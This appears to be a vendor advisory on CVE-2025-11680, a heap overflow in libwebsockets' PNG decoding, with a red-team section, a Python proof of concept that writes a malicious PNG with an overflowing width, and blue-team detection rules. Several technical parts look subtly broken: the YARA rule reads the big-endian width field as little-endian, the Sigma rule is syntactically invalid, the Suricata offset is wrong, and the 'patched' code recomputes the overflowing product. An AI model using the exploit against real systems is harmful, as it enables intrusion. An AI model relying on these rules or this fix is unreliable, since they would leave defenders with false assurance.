CVE-2025-11680
Executive Summary
CVE-2025-11680 is a critical heap-based buffer overflow vulnerability in the unfilter_scanline function of the warmcat/libwebsockets library. The flaw is exploitable only when the library is compiled with the LWS_WITH_UPNG flag enabled and the HTML display stack is active. An attacker can craft a malicious PNG file with an excessively large width value, causing an integer overflow during heap allocation size calculation. This leads to a heap buffer overflow when the scanline data is written, potentially causing a crash or arbitrary code execution. The vulnerability is triggered when a user visits an attacker-controlled website that renders the crafted PNG.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the open-source libwebsockets library, which is widely used as a dependency in embedded systems, IoT devices, and web servers. The supply chain risk is elevated because the vulnerable code path is only enabled via a compile-time flag (LWS_WITH_UPNG). Many downstream projects may unknowingly enable this flag, inheriting the vulnerability. No official patch or advisory has been released by the vendor (Warmcat) at this time.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – triggered via a website.
- Attack Complexity (AC): Low (L) – requires a crafted PNG.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): Required (R) – user must visit a malicious site.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – potential for memory leak.
- Integrity (I): High (H) – potential for code injection.
- Availability (A): High (H) – crash or DoS.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)
Threat Level: High – due to the potential for remote code execution in a widely used library.
Deep Dive & Mechanics
The vulnerability is a classic integer overflow leading to a heap buffer overflow.
- Trigger: The
unfilter_scanlinefunction inlib/upng.c(whenLWS_WITH_UPNGis enabled) processes PNG scanlines. - Integer Overflow: The PNG file's width field is used to calculate the size of a heap buffer. If the width is set to a very large value (e.g., close to
UINT_MAX), the multiplicationwidth * bytes_per_pixelcan overflow, resulting in a small allocation size. - Heap Buffer Overflow: The function then writes the actual scanline data (which is much larger than the allocated buffer) into this undersized heap chunk, causing an out-of-bounds write.
- Impact: This can corrupt adjacent heap metadata or other data structures, leading to a crash or, with careful heap grooming, arbitrary code execution.
The attack vector is client-side: an attacker hosts a malicious PNG on a website. When a user visits the site and the browser (or any application using libwebsockets with the UPNG feature) renders the image, the overflow occurs.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In lib/upng.c - unfilter_scanline function
size_t alloc_size = width * bytes_per_pixel; // Integer overflow possible
unsigned char *buffer = (unsigned char *)malloc(alloc_size);
// ... later, data is written to buffer based on actual width
for (int i = 0; i < width * bytes_per_pixel; i++) {
buffer[i] = scanline_data[i]; // Overflow!
}
Patched Code (Hypothetical):
// Safe allocation with overflow check
size_t alloc_size;
if (__builtin_mul_overflow(width, bytes_per_pixel, &alloc_size)) {
// Handle error - allocation too large
return -1;
}
unsigned char *buffer = (unsigned char *)malloc(alloc_size);
if (!buffer) {
return -1;
}
// Ensure write does not exceed allocation
size_t write_size = width * bytes_per_pixel; // Recalculate safely
if (write_size > alloc_size) {
free(buffer);
return -1;
}
// ... safe copy
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target application using
libwebsocketscompiled withLWS_WITH_UPNG. - Ability to serve a malicious PNG to the target.
Exploitation Steps:
- Craft Malicious PNG: Create a PNG file with a corrupt IHDR chunk where the width field is set to a value like
0xFFFFFFFF(4294967295). The height can be small (e.g., 1) to keep the file size manageable. - Host the PNG: Place the crafted PNG on an attacker-controlled web server.
- Deliver Payload: Send a link to the target user (e.g., via phishing email). When the user visits the page, the vulnerable library processes the PNG.
- Heap Grooming (for RCE): To achieve code execution, the attacker would need to carefully control the heap layout before triggering the overflow. This is complex and environment-specific.
Proof-of-Concept (Python script to generate malicious PNG):
import struct
import zlib
def create_malicious_png():
# PNG signature
signature = b'\x89PNG\r\n\x1a\n'
# IHDR chunk with overflow width
width = 0xFFFFFFFF # Max 32-bit value
height = 1
bit_depth = 8
color_type = 2 # RGB
compression = 0
filter_method = 0
interlace = 0
ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type,
compression, filter_method, interlace)
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xFFFFFFFF
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
# Minimal IDAT chunk (dummy data)
raw_data = b'\x00' + b'\x00\x00\x00' * 1 # 1 pixel of black RGB
compressed = zlib.compress(raw_data)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xFFFFFFFF
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xFFFFFFFF
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
with open('exploit.png', 'wb') as f:
f.write(signature + ihdr_chunk + idat_chunk + iend_chunk)
if __name__ == '__main__':
create_malicious_png()
Blue Team (Defense & Detection)
Detection:
- Monitor for crashes in applications using
libwebsocketswithLWS_WITH_UPNG. - Look for heap corruption errors in logs.
- Use the YARA and Sigma rules below.
Mitigation:
- Recompile
libwebsocketswithout theLWS_WITH_UPNGflag if not needed. - Apply input validation on PNG width before processing.
- Use AddressSanitizer (ASan) during development to catch overflows.
Indicators of Compromise (IOCs)
- Network: HTTP requests to URLs serving PNG files with abnormally large width values in the IHDR chunk.
- File: PNG files with
IHDRwidth field > 65535 pixels (though any overflow value works). - Memory: Heap corruption patterns in
libwebsocketsprocesses. - Logs: Application crash logs referencing
unfilter_scanlineorupng.c.
Detection Engineering
YARA Rule
rule CVE_2025_11680_Malicious_PNG {
meta:
description = "Detects PNG files with oversized width field for CVE-2025-11680"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-11680"
strings:
$png_header = { 89 50 4E 47 0D 0A 1A 0A }
$ihdr = "IHDR"
condition:
$png_header at 0 and
$ihdr and
// Check width field (bytes 16-19) for values > 0x00FFFFFF
uint32(16) > 0x00FFFFFF
}
Sigma Rule
title: CVE-2025-11680 - Heap Overflow in libwebsockets via Malicious PNG
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-11680 via application crash or heap corruption
author: Valters IT
logsource:
category: application
product: libwebsockets
detection:
selection:
EventID: 1000 # Application Error (Windows)
- "libwebsockets"
- "unfilter_scanline"
- "upng.c"
condition: selection
falsepositives:
- Legitimate large PNG files (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-11680 - Potential Malicious PNG with Oversized Width"; flow:to_client,established; file_data; content:"|89 50 4E 47 0D 0A 1A 0A|"; distance:0; within:8; content:"IHDR"; distance:0; within:4; byte_test:4,>,0x00FFFFFF,16,relative; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the
LWS_WITH_UPNGcompile-time flag inlibwebsocketsif PNG support is not required. - Short-term: Apply input validation to reject PNG files with width values exceeding a reasonable maximum (e.g., 65535 pixels) before passing them to the vulnerable function.
- Long-term: The vendor (Warmcat) should release a patch that adds integer overflow checks in the
unfilter_scanlinefunction. Until then, consider using an alternative library for PNG decoding. - Detection: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
- Monitoring: Monitor for abnormal application crashes and heap corruption events.
Valters IT
DevSecOps & Cyber Threat Intelligence